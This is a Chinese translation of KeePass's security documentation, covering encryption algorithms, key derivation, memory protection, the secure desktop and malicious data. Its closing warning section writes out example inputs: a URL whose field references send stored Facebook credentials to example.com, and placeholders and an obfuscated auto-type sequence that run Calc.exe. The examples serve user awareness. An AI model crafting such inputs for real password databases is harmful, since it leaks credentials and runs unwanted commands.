KeePass
密码管理器




Package

KeePass安全性


键  数据库加密

KeePass数据库文件已加密。KeePass加密整个数据库,不仅是您的密码,还包括您的用户名,URL,注释等。

支持以下加密算法:

KeePass 1.x:

 

算法 密钥大小 标准。/参考
高级加密标准(AES / Rijndael) 256位 NIST FIPS 197
Twofish的 256位 信息

KeePass 2.x:

 

算法 密钥大小 标准。/参考
高级加密标准(AES / Rijndael) 256位 NIST FIPS 197
ChaCha20 256位 RFC 7539
存在各种 插件 ,其提供对附加加密算法的支持,包括但不限于Twofish,Serpent和GOST。

这些众所周知且经过深入分析的算法被认为是非常安全的。AES(Rijndael)作为美国联邦政府标准生效,并获得国家安全局(NSA)的最高机密信息批准。Twofish是其他四位AES入围者之一。ChaCha20是Salsa20算法的继承者(包含在 eSTREAM产品组合中)。

分组密码用于密码块链接(CBC) 分组密码模式。在CBC模式中,明文模式被隐藏。

一初始化向量(IV)生成 随机每一个数据库被保存的时间。因此,使用相同主密钥(例如备份)加密的多个数据库都没有问题。

数据真实性和完整性:

KeePass 1.x Only

使用明文的SHA-256哈希确保数据的真实性和完整性。

 

KeePass 2.x Only

使用密文的HMAC-SHA-256哈希(加密然后MAC方案)来确保数据的真实性和完整性。

键  密钥散列和密钥派生

SHA-256被用于的部件压缩复合主密钥 (由密码,密钥文件,一个Windows用户帐户密钥和/或由一个插件提供的密钥的)到256位密钥ķ

SHA-256是一种加密哈希函数,被认为是非常安全的。它已在 NIST FIPS 180-4中标准化。2005年发现的对SHA-1的攻击不会影响SHA-256的安全性。

为了生成加密算法的密钥, 使用密钥导出函数(使用随机盐)来变换K. 这可以防止密钥的预计算,并使字典和猜测攻击变得更加困难。有关详细信息,请参阅“ 防止字典攻击 ”一节。

键  防止字典攻击

KeePass具有针对字典和猜测攻击的保护功能。

这种攻击是无法阻止的,但它们可能会变得更难。为此,使用具有随机盐的密钥导出函数来变换从用户的复合主密钥导出的密钥K. 这防止了密钥的预计算并且增加了用户可以根据需要做出的工作因素,以增加字典的计算工作量或猜测攻击。

支持以下密钥派生函数(可以在数据库设置对话框中选择和配置它们):

  • AES-KDF(KeePass 1.x和2.x):
    此密钥派生函数基于迭代AES。 在数据库设置对话框中,用户可以更改迭代次数。迭代次数越多,字典和猜测攻击越难,但数据库加载/保存也需要更多时间(线性)。 在Windows Vista及更高版本上,KeePass可以使用Windows的CNG / BCrypt API进行密钥转换,这比KeePass内置的密钥转换代码快约50%。



  • Argon2(仅限KeePass 2.x):
    Argon2 是密码哈希竞赛的获胜者。与AES-KDF相比,Argon2的主要优势在于它可以更好地抵抗GPU / ASIC攻击(由于是一个内存很难的功能)。

    迭代次数与所需时间成线性比例。通过增加内存参数,GPU / ASIC攻击变得更难(并且所需的时间增加)。parallelism参数可用于指定应使用多少线程。

通过单击数据库设置对话框中的“1 Second Delay”按钮,KeePass将计算加载/保存数据库时导致1秒延迟的迭代次数。此外,KeePass 2.x有一个按钮’Test’,它使用指定的参数(可以取消)执行密钥派生并报告所需的时间。

密钥推导可能需要或多或少的时间在其他设备上。如果您在其他设备上使用KeePass或其端口,请确保所有设备足够快(并且具有足够的内存),以便在可接受的时间内使用您的参数加载数据库。

KeePassX。与KeePass相比,Linux端口KeePassX仅部分支持防止字典和猜测攻击。

二进制  随机数生成

KeePass首先使用各种熵源创建一个熵池(包括系统加密提供程序生成的随机数,当前日期/时间和正常运行时间,游标位置,操作系统版本,处理器数量,环境变量,进程和内存统计信息,当前文化,新的随机GUID等)。

使用使用熵池初始化的加密安全伪随机数生成器(基于SHA-256 / SHA-512和ChaCha20)生成高级生成方法的随机位。

应用保护  进程内存保护

在KeePass运行时,敏感数据以加密方式存储在进程内存中。这意味着即使您将KeePass进程内存转储到磁盘,也无法找到任何敏感数据。出于性能原因,进程内存保护仅适用于敏感数据; 这里的敏感数据包括例如主密钥和条目密码,但不包括用户名,注释和文件附件。请注意,这与数据库文件的加密无关 ; 在数据库文件中,所有数据(包括用户名等)都是加密的。

此外,当不再需要时,KeePass会删除所有安全关键内存(如果可能),即在释放它们之前覆盖这些内存区域。

KeePass使用Windows DPAPI加密内存中的敏感数据(通过CryptProtectMemory / ProtectedMemory)。使用DPAPI,内存加密的密钥存储在由Windows管理的安全,不可交换的内存区域中。DPAPI适用于Windows 2000及更高版本。KeePass 2.x在可用时始终使用DPAPI; 在KeePass 1.x中,可以禁用此功能(在高级选项中;默认情况下启用DPAPI;如果禁用,KeePass 1.x将ARC4加密算法与随机密钥一起使用;请注意,这不如DPAPI安全,主要不是 因为ARC4加密不是那么强大,而是因为内存加密的密钥也存储在可交换的进程内存中; 类似地,如果DPAPI不​​可用,KeePass 2.x会回退到使用ChaCha20加密进程内存。在类Unix系统上,KeePass 2.x使用ChaCha20,因为Mono没有提供任何有效的内存保护方法。

对于某些操作,KeePass必须在进程内存中以非加密方式提供敏感数据。例如,为了在Windows提供的标准列表视图控件中显示密码,KeePass必须提供单元格内容(密码)作为未加密的字符串(除非使用星号隐藏)。导致过程存储器中未加密数据的操作包括但不限于:在标准控件中显示数据(不是星号),搜索数据,替换占位符(在自动类型,拖放,复制到剪贴板期间……),导入/导出文件(KDBX除外)和加载/保存未加密的文件。Windows和.NET可能会复制KeePass无法删除的数据(在进程内存中)。

用户密钥  在安全桌面上输入主密钥(防止键盘记录器)

KeePass 2.x有一个选项(在’工具’→’选项’→选项卡’安全’中),以显示不同/安全桌面上的主密钥对话框(Windows 2000及更高版本支持),类似于Windows用户帐户控制(UAC)。几乎没有键盘记录器在安全桌面上工作。

出于兼容性原因,默认情况下会关闭该选项。

可以在Secure Desktop 帮助页面上找到更多信息 。

KeePass 2.x Only

请注意,通过使用双通道自动类型混淆,也可以通过键盘记录器保护 自动类型。

注意:KeePass是第一批允许在不同/安全桌面上输入主密钥的密码管理器之一!

应用保护  锁定工作区

锁定工作空间时,KeePass会关闭数据库文件,并仅记住其路径和某些视图参数。

这提供了最大的安全性:解锁工作空间与正常打开数据库文件一样困难。此外,它可以防止数据丢失(计算机可能会在KeePass被锁定时崩溃,而不会对数据库造成任何损害)。

打开子对话框时,可能无法锁定工作区; 有关详细信息,请参见常见问题解答。

桌面  查看/编辑附件

KeePass 2.x有一个内部查看器/编辑器用于附件。有关如何使用它来处理文本的详细信息,请参阅“ 如何存储和处理大量(格式化)文本?”。

内部查看器/编辑器使用主存储器中的数据。它不会将数据提取/存储到磁盘上。

当试图打开内部查看器/编辑器无法处理的附件(例如PDF文件)时,KeePass会将附件提取到(EFS加密的)临时文件,并使用与此文件类型关联的默认应用程序打开它。完成查看/编辑后,用户可以选择导入还是放弃对临时文件所做的任何更改。无论如何,KeePass之后会安全地删除临时文件(包括覆盖它)。

插件  插件

存在关于插件安全性的单独页面: 插件安全性(KeePass 1.x), 插件安全性(KeePass 2.x)。

黑盒子  自我测试

每次启动KeePass时,程序都会执行快速自检,以查看加密和散列算法是否正常工作并传递其测试向量。如果其中一个算法没有通过其测试向量,KeePass会显示一个安全异常对话框。

终奌站  专业间谍软件

本节提供如下问题的答案:

  • 加密配置文件是否会通过阻止恶意程序的更改来提高安全性?
  • 加密应用程序(可执行文件,最终与配置文件一起)是否会通过阻止恶意程序的更改来提高安全性?
  • 防止插件被加载的选项会增加安全性吗?
  • 将安全选项存储在数据库中(以覆盖KeePass实例的设置)会增加安全性吗?
  • 锁定主窗口的方式是只允许自动类型增加安全性吗?

所有这些问题的答案是:不。添加任何这些功能都不会增加安全性。

KeePass中的所有安全功能都可以防范通用威胁,如键盘记录程序,剪贴板监视器,密码控制监视器等(以及针对数据库的非运行时攻击,内存转储分析器……)。但是,在上述所有问题中,我们假设系统上运行的间谍软件程序专门用于攻击KeePass。

在这种情况下,最佳安全功能将失败。这是十大不变的安全法则的第1 号法律 (Microsoft TechNet文章;另请参阅Microsoft TechNet文章重 访10个不变的安全法则,第1部分):“如果一个坏人可以说服你在计算机上运行他的程序,它不再是你的电脑“

例如,考虑以下非常简单的专门用于KeePass的间谍软件:等待KeePass启动的应用程序,然后隐藏已启动的应用程序并模仿KeePass本身。可以模拟所有交互(例如输入用于解密配置的密码等)。发现此间谍软件的唯一方法是使用间谍软件不知道或无法操作的程序(安全桌面); 无论如何它不能是KeePass。

为保护您的PC,我们建议您使用防病毒软件。使用适当的防火墙,仅运行来自可靠来源的软件,不要打开未知的电子邮件附件等。

网址  恶意数据

用户应检查他输入和/或运行的所有数据。

如果您在未先检查数据的情况下输入/运行数据,则可能会导致安全问题(例如泄露敏感数据或执行恶意代码)。这是一般原则; 它适用于大多数应用程序,不仅适用于KeePass。

例子:

  • 条目的URL字段支持运行命令行。因此,如果您(输入和)运行URL而不先检查它,您可能会运行恶意程序/代码。
  • 运行URL时, 如果您没有检查,则可能会执行恶意URL覆盖(全局或特定于条目)。
  • KeePass支持占位符。所有常规占位符的格式为’ {...}‘, 环境变量 的格式为’ %...%‘。应检查所有数据是否存在恶意占位符和环境变量。
    • 字段引用可以将其他条目的数据插入到当前数据中。例如,如果您有Facebook帐户,输入并运行以下URL可能会将您的Facebook用户名和密码发送到“example.com”服务器:
      https://example.com/?u={REF:U@T:Facebook}&p={REF:P@T:Facebook}
    • {CMD:...}占位符 运行的命令行。例如,以下网址会打开“https://example.com/”并运行“Calc.exe”:
      https://example.com/{CMD:/Calc.exe/W=0/}

    文本转换占位符 可用于混淆部分数据。

  • 以下自动类型序列执行登录并另外运行’Calc.exe’:
    {USERNAME}{TAB}{PASSWORD}{ENTER}{VKEY 91}{T-CONV:/%43%61%6C%63%2E%65%78%65/Uri-Dec/}{VKEY 13}
    此序列通常仅适用于Windows系统,但可以为其他操作系统(如Linux和Mac OS X)构建类似的序列。
  • 如果指定 攻击者建议的弱密钥派生设置,则可能使攻击者更容易解密/打开您的数据库。
  • 如果您输入/使用 仅允许弱密码的密码生成器配置文件(由攻击者建议),则使用此类弱密码的帐户可能无法得到很好的保护。
  • 将XML替换功能与恶意参数一起使用可能会导致对数据库中的数据进行恶意修改。
  • 在触发器对话框中粘贴/输入恶意触发器而不检查它们可能会导致安全问题。

如果用户检查他输入/运行的数据,则上述“攻击”都不起作用。输入数据是手动操作(即攻击者自己不能这样做),只有用户可以决定是否有意产生效果。始终显示警告/确认对话框是不合理的。

打开由其他人创建/修改的数据库时,应仔细检查要使用的所有数据。如果您不完全信任数据库的创建者,请不要打开附加到条目的任何文件。

上一页:
下一页:


沪ICP备19023926号-2 Copyright © 2003-2019 Dominik Reichl, [联系我们 / 版本说明] [团队 & 隐私政策]